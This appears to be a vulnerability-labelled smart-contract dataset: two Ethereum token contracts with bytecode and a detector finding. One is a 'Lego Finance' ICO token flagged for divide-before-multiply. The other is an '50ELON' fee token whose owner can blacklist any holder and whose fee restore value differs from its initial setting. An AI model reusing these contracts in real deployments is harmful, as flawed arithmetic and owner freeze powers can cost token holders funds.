emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
**/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
**/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
**/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
**/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
**/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
**/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Configurable
* @dev Configurable varriables of the contract
**/
contract Configurable {
uint256 public constant cap = 10000*10**18;
uint256 public constant basePrice = 4*10**18; // tokens per 1 ether
uint256 public tokensSold = 0;
uint256 public constant tokenReserve = 7000*10**18;
uint256 public remainingTokens = 0;
}
/**
* @title CrowdsaleToken
* @dev Contract to preform crowd sale with token
**/
contract CrowdsaleToken is StandardToken, Configurable, Ownable {
/**
* @dev enum of current crowd sale state
**/
enum Stages {
none,
icoStart,
icoEnd
}
Stages currentStage;
/**
* @dev constructor of CrowdsaleToken
**/
constructor() public {
currentStage = Stages.none;
balances[owner] = balances[owner].add(tokenReserve);
totalSupply_ = totalSupply_.add(tokenReserve);
remainingTokens = cap;
emit Transfer(address(this), owner, tokenReserve);
}
/**
* @dev fallback function to send ether to for Crowd sale
**/
function () public payable {
require(currentStage == Stages.icoStart);
require(msg.value > 0);
require(remainingTokens > 0);
uint256 weiAmount = msg.value; // Calculate tokens to sell
uint256 tokens = weiAmount.mul(basePrice).div(1 ether);
uint256 returnWei = 0;
if(tokensSold.add(tokens) > cap){
uint256 newTokens = cap.sub(tokensSold);
uint256 newWei = newTokens.div(basePrice).mul(1 ether);
returnWei = weiAmount.sub(newWei);
weiAmount = newWei;
tokens = newTokens;
}
tokensSold = tokensSold.add(tokens); // Increment raised amount
remainingTokens = cap.sub(tokensSold);
if(returnWei > 0){
msg.sender.transfer(returnWei);
emit Transfer(address(this), msg.sender, returnWei);
}
balances[msg.sender] = balances[msg.sender].add(tokens);
emit Transfer(address(this), msg.sender, tokens);
totalSupply_ = totalSupply_.add(tokens);
owner.transfer(weiAmount);// Send money to owner
}
/**
* @dev startIco starts the public ICO
**/
function startIco() public onlyOwner {
require(currentStage != Stages.icoEnd);
currentStage = Stages.icoStart;
}
/**
* @dev endIco closes down the ICO
**/
function endIco() internal {
currentStage = Stages.icoEnd;
// Transfer any remaining tokens
if(remainingTokens > 0)
balances[owner] = balances[owner].add(remainingTokens);
// transfer any remaining ETH balance in the contract to the owner
owner.transfer(address(this).balance);
}
/**
* @dev finalizeIco closes down the ICO and sets needed varriables
**/
function finalizeIco() public onlyOwner {
require(currentStage != Stages.icoEnd);
endIco();
}
}
/**
* @title Lego Finance
* @dev Contract to create the lego Finance
**/
contract LegoFinance is CrowdsaleToken {
string public constant name = "Lego Finance";
string public constant symbol = "Lego";
uint32 public constant decimals = 18;
}
|
0x608060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005c57806370a0823114610087578063a9059cbb146100de575b600080fd5b34801561006857600080fd5b50610071610143565b6040518082815260200191505060405180910390f35b34801561009357600080fd5b506100c8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061014d565b6040518082815260200191505060405180910390f35b3480156100ea57600080fd5b50610129600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610195565b604051808215151515815260200191505060405180910390f35b6000600154905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156101d257600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561021f57600080fd5b610270826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546103b490919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610303826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546103cd90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008282111515156103c257fe5b818303905092915050565b600081830190508281101515156103e057fe5b809050929150505600a165627a7a723058209f29513de486663c0d1bc974c2bbe0bd618c639d58dd833d2ce8cba255b32cc80029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 8,480 |
0xEEb6FA49c63f6f84C5409C7AaCA31816b5c4e9Aa
|
/*
Happy Birthday to you, Elon!
We have electric cars, space rockets because of you.
Telegram: https://t.me/ELON50thToken
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ElonMusk is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Elon's 50th Birthday";
string private constant _symbol = "50ELON";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 19710628 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (8 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 123845 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102e0578063a9059cbb1461030f578063c3c8cd801461032f578063d543dbeb14610344578063dd62ed3e1461036457600080fd5b80636fc3eaec1461026e57806370a0823114610283578063715018a6146102a35780638da5cb5b146102b857600080fd5b806323b872dd116100dc57806323b872dd146101dd578063293230b8146101fd578063313ce567146102125780635932ead11461022e5780636b9990531461024e57600080fd5b8062b8cf2a1461011857806306fdde031461013a578063095ea7b31461018957806318160ddd146101b957600080fd5b3661011357005b600080fd5b34801561012457600080fd5b506101386101333660046118aa565b6103aa565b005b34801561014657600080fd5b50604080518082019091526014815273456c6f6e2773203530746820426972746864617960601b60208201525b60405161018091906119ee565b60405180910390f35b34801561019557600080fd5b506101a96101a436600461187f565b610457565b6040519015158152602001610180565b3480156101c557600080fd5b50664606b6343d68005b604051908152602001610180565b3480156101e957600080fd5b506101a96101f836600461183f565b61046e565b34801561020957600080fd5b506101386104d7565b34801561021e57600080fd5b5060405160098152602001610180565b34801561023a57600080fd5b50610138610249366004611971565b610896565b34801561025a57600080fd5b506101386102693660046117cf565b6108de565b34801561027a57600080fd5b50610138610929565b34801561028f57600080fd5b506101cf61029e3660046117cf565b610956565b3480156102af57600080fd5b50610138610978565b3480156102c457600080fd5b506000546040516001600160a01b039091168152602001610180565b3480156102ec57600080fd5b506040805180820190915260068152651a9822a627a760d11b6020820152610173565b34801561031b57600080fd5b506101a961032a36600461187f565b6109ec565b34801561033b57600080fd5b506101386109f9565b34801561035057600080fd5b5061013861035f3660046119a9565b610a2f565b34801561037057600080fd5b506101cf61037f366004611807565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103dd5760405162461bcd60e51b81526004016103d490611a41565b60405180910390fd5b60005b8151811015610453576001600a600084848151811061040f57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061044b81611b54565b9150506103e0565b5050565b6000610464338484610b00565b5060015b92915050565b600061047b848484610c24565b6104cd84336104c885604051806060016040528060288152602001611bbf602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611036565b610b00565b5060019392505050565b6000546001600160a01b031633146105015760405162461bcd60e51b81526004016103d490611a41565b600f54600160a01b900460ff161561055b5760405162461bcd60e51b815260206004820152601a60248201527f74726164696e6720697320616c7265616479207374617274656400000000000060448201526064016103d4565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105963082664606b6343d6800610b00565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105cf57600080fd5b505afa1580156105e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060791906117eb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561064f57600080fd5b505afa158015610663573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068791906117eb565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156106cf57600080fd5b505af11580156106e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061070791906117eb565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061073781610956565b60008061074c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107af57600080fd5b505af11580156107c3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107e891906119c1565b5050600f80546570a2e93b720060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561085e57600080fd5b505af1158015610872573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610453919061198d565b6000546001600160a01b031633146108c05760405162461bcd60e51b81526004016103d490611a41565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146109085760405162461bcd60e51b81526004016103d490611a41565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b600c546001600160a01b0316336001600160a01b03161461094957600080fd5b4761095381611070565b50565b6001600160a01b038116600090815260026020526040812054610468906110f5565b6000546001600160a01b031633146109a25760405162461bcd60e51b81526004016103d490611a41565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610464338484610c24565b600c546001600160a01b0316336001600160a01b031614610a1957600080fd5b6000610a2430610956565b905061095381611179565b6000546001600160a01b03163314610a595760405162461bcd60e51b81526004016103d490611a41565b60008111610aa95760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016103d4565b610ac56064610abf664606b6343d68008461131e565b9061139d565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b625760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d4565b6001600160a01b038216610bc35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d4565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c885760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d4565b6001600160a01b038216610cea5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d4565b60008111610d4c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103d4565b6000546001600160a01b03848116911614801590610d7857506000546001600160a01b03838116911614155b15610fd957600f54600160b81b900460ff1615610e5f576001600160a01b0383163014801590610db157506001600160a01b0382163014155b8015610dcb5750600e546001600160a01b03848116911614155b8015610de55750600e546001600160a01b03838116911614155b15610e5f57600e546001600160a01b0316336001600160a01b03161480610e1f5750600f546001600160a01b0316336001600160a01b0316145b610e5f5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016103d4565b601054811115610e6e57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610eb057506001600160a01b0382166000908152600a602052604090205460ff16155b610eb957600080fd5b600f546001600160a01b038481169116148015610ee45750600e546001600160a01b03838116911614155b8015610f0957506001600160a01b03821660009081526005602052604090205460ff16155b8015610f1e5750600f54600160b81b900460ff165b15610f6c576001600160a01b0382166000908152600b60205260409020544211610f4757600080fd5b610f52426008611ae6565b6001600160a01b0383166000908152600b60205260409020555b6000610f7730610956565b600f54909150600160a81b900460ff16158015610fa25750600f546001600160a01b03858116911614155b8015610fb75750600f54600160b01b900460ff165b15610fd757610fc581611179565b478015610fd557610fd547611070565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061101b57506001600160a01b03831660009081526005602052604090205460ff165b15611024575060005b611030848484846113df565b50505050565b6000818484111561105a5760405162461bcd60e51b81526004016103d491906119ee565b5060006110678486611b3d565b95945050505050565b600c546001600160a01b03166108fc61108a83600261139d565b6040518115909202916000818181858888f193505050501580156110b2573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110cd83600261139d565b6040518115909202916000818181858888f19350505050158015610453573d6000803e3d6000fd5b600060065482111561115c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103d4565b600061116661140b565b9050611172838261139d565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111cf57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561122357600080fd5b505afa158015611237573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125b91906117eb565b8160018151811061127c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112a29130911684610b00565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112db908590600090869030904290600401611a76565b600060405180830381600087803b1580156112f557600080fd5b505af1158015611309573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008261132d57506000610468565b60006113398385611b1e565b9050826113468583611afe565b146111725760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103d4565b600061117283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061142e565b806113ec576113ec61145c565b6113f784848461147f565b80611030576110306005600855600a600955565b6000806000611418611576565b9092509050611427828261139d565b9250505090565b6000818361144f5760405162461bcd60e51b81526004016103d491906119ee565b5060006110678486611afe565b60085415801561146c5750600954155b1561147357565b60006008819055600955565b600080600080600080611491876115b4565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114c39087611611565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114f29086611653565b6001600160a01b038916600090815260026020526040902055611514816116b2565b61151e84836116fc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161156391815260200190565b60405180910390a3505050505050505050565b6006546000908190664606b6343d6800611590828261139d565b8210156115ab57505060065492664606b6343d680092509050565b90939092509050565b60008060008060008060008060006115d18a600854600954611720565b92509250925060006115e161140b565b905060008060006115f48e87878761176f565b919e509c509a509598509396509194505050505091939550919395565b600061117283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611036565b6000806116608385611ae6565b9050838110156111725760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103d4565b60006116bc61140b565b905060006116ca838361131e565b306000908152600260205260409020549091506116e79082611653565b30600090815260026020526040902055505050565b6006546117099083611611565b6006556007546117199082611653565b6007555050565b60008080806117346064610abf898961131e565b905060006117476064610abf8a8961131e565b9050600061175f826117598b86611611565b90611611565b9992985090965090945050505050565b600080808061177e888661131e565b9050600061178c888761131e565b9050600061179a888861131e565b905060006117ac826117598686611611565b939b939a50919850919650505050505050565b80356117ca81611b9b565b919050565b6000602082840312156117e0578081fd5b813561117281611b9b565b6000602082840312156117fc578081fd5b815161117281611b9b565b60008060408385031215611819578081fd5b823561182481611b9b565b9150602083013561183481611b9b565b809150509250929050565b600080600060608486031215611853578081fd5b833561185e81611b9b565b9250602084013561186e81611b9b565b929592945050506040919091013590565b60008060408385031215611891578182fd5b823561189c81611b9b565b946020939093013593505050565b600060208083850312156118bc578182fd5b823567ffffffffffffffff808211156118d3578384fd5b818501915085601f8301126118e6578384fd5b8135818111156118f8576118f8611b85565b8060051b604051601f19603f8301168101818110858211171561191d5761191d611b85565b604052828152858101935084860182860187018a101561193b578788fd5b8795505b8386101561196457611950816117bf565b85526001959095019493860193860161193f565b5098975050505050505050565b600060208284031215611982578081fd5b813561117281611bb0565b60006020828403121561199e578081fd5b815161117281611bb0565b60006020